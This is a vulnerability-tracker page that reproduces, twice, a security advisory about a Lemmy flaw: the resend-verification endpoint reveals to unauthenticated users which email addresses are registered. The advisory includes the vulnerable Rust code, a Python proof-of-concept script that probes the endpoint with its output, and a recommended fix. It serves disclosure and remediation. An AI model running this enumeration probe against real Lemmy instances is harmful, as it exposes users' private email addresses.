Track vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
5.5
Lemmy exposes registered email addresses through resend endpoint
published 6 months ago
Summary
Lemmy's resend verification endpoint can reveal registered email addresses to unauthenticated users. This is a security risk because it could allow malicious users to discover accounts. To fix this, update Lemmy to return the same response for both registered and unregistered email addresses, like the password reset endpoint does.
What to do
The CVE record does not list a fixed version. Check the vendor's site or the advisory links below - a fix may already be released.
Affected software
| Ecosystem | Vendor | Product | Affected versions |
|---|---|---|---|
| rust | nutomic | lemmy_api | <= 0.19.1-rc.1 |
Original advisory text
Lemmy resend-verification endpoint exposes registered email addresses to unauthenticated users
## Summary
The unauthenticated resend-verification endpoint returns different responses for registered and unregistered email addresses. A malicious third party can submit candidate addresses to `/api/v4/account/auth/resend_verification_email` and distinguish accounts from misses.
## Details
`resend_verification_email()` looks up the submitted address and returns the lookup error to the caller:
```rust
let local_user_view = LocalUserView::find_by_email(&mut context.pool(), &email).await?;
check_local_user_valid(&local_user_view)?;
```
The password reset endpoint already uses a safer pattern. It discards lookup errors and returns success, which prevents the same account-discovery channel.
## Proof of Concept
The following script creates one user and probes that address plus a missing address.
```python
import requests, random, string
BASE = "http://127.0.0.1:8536/api/v4" # change to the target Lemmy URL
ADMIN_USER = "lemmy"
ADMIN_PASS = "lemmylemmy"
PASSWORD = "Password123456!"
def post(path, **body):
return requests.post(BASE + path, json=body)
suffix = "enum" + "".join(random.choice(string.ascii_lowercase) for _ in range(6))
admin = post("/account/auth/login", username_or_email=ADMIN_USER, password=ADMIN_PASS).json()["jwt"]
requests.put(BASE + "/site", headers={"Authorization": "Bearer " + admin},
json={"registration_mode": "open", "email_verification_required": False})
email = "alice" + suffix + "@example.test"
post("/account/auth/register", username="alice" + suffix, password=PASSWORD,
password_verify=PASSWORD, email=email).raise_for_status()
for candidate in [email, "missing" + suffix + "@example.test"]:
r = post("/account/auth/resend_verification_email", email=candidate)
print(candidate, "HTTP", r.status_code, r.text[:300])
```
Output:
```text
[email protected] HTTP 200 {"success":true}
[email protected] HTTP 404 {"error":"not_found","cause":"Record not found"}
```
## Impact
A malicious third party can enumerate registered email addresses without authentication. The endpoint uses the registration rate limit bucket, not an endpoint-specific anti-enumeration limit, so the attacker can automate probes across candidate address lists. The response also distinguishes missing accounts from banned or deleted accounts because `check_local_user_valid()` returns separate error types.
## Recommended Fix
Use the password-reset pattern for resend verification. Move the lookup and email-send work into a helper, ignore helper errors in the handler, and always return `{"success": true}` for syntactically valid input.
---
*Found by [aisafe.io](https://aisafe.io)*
The unauthenticated resend-verification endpoint returns different responses for registered and unregistered email addresses. A malicious third party can submit candidate addresses to `/api/v4/account/auth/resend_verification_email` and distinguish accounts from misses.
## Details
`resend_verification_email()` looks up the submitted address and returns the lookup error to the caller:
```rust
let local_user_view = LocalUserView::find_by_email(&mut context.pool(), &email).await?;
check_local_user_valid(&local_user_view)?;
```
The password reset endpoint already uses a safer pattern. It discards lookup errors and returns success, which prevents the same account-discovery channel.
## Proof of Concept
The following script creates one user and probes that address plus a missing address.
```python
import requests, random, string
BASE = "http://127.0.0.1:8536/api/v4" # change to the target Lemmy URL
ADMIN_USER = "lemmy"
ADMIN_PASS = "lemmylemmy"
PASSWORD = "Password123456!"
def post(path, **body):
return requests.post(BASE + path, json=body)
suffix = "enum" + "".join(random.choice(string.ascii_lowercase) for _ in range(6))
admin = post("/account/auth/login", username_or_email=ADMIN_USER, password=ADMIN_PASS).json()["jwt"]
requests.put(BASE + "/site", headers={"Authorization": "Bearer " + admin},
json={"registration_mode": "open", "email_verification_required": False})
email = "alice" + suffix + "@example.test"
post("/account/auth/register", username="alice" + suffix, password=PASSWORD,
password_verify=PASSWORD, email=email).raise_for_status()
for candidate in [email, "missing" + suffix + "@example.test"]:
r = post("/account/auth/resend_verification_email", email=candidate)
print(candidate, "HTTP", r.status_code, r.text[:300])
```
Output:
```text
[email protected] HTTP 200 {"success":true}
[email protected] HTTP 404 {"error":"not_found","cause":"Record not found"}
```
## Impact
A malicious third party can enumerate registered email addresses without authentication. The endpoint uses the registration rate limit bucket, not an endpoint-specific anti-enumeration limit, so the attacker can automate probes across candidate address lists. The response also distinguishes missing accounts from banned or deleted accounts because `check_local_user_valid()` returns separate error types.
## Recommended Fix
Use the password-reset pattern for resend verification. Move the lookup and email-send work into a helper, ignore helper errors in the handler, and always return `{"success": true}` for syntactically valid input.
---
*Found by [aisafe.io](https://aisafe.io)*
Internet-facing
14 days
Internal
60 days
- Not known to be exploited
- Can be exploited automatically (estimated)
- Gives an attacker partial control (estimated)
Type
CWE-204Observable Response Discrepancy
Timeline
Published6 May 2026
Updated7 May 2026
First seen7 May 2026
Sources
GHSA-qxrw-f6fh-34r7 · GHSA
Track software like this
Free during beta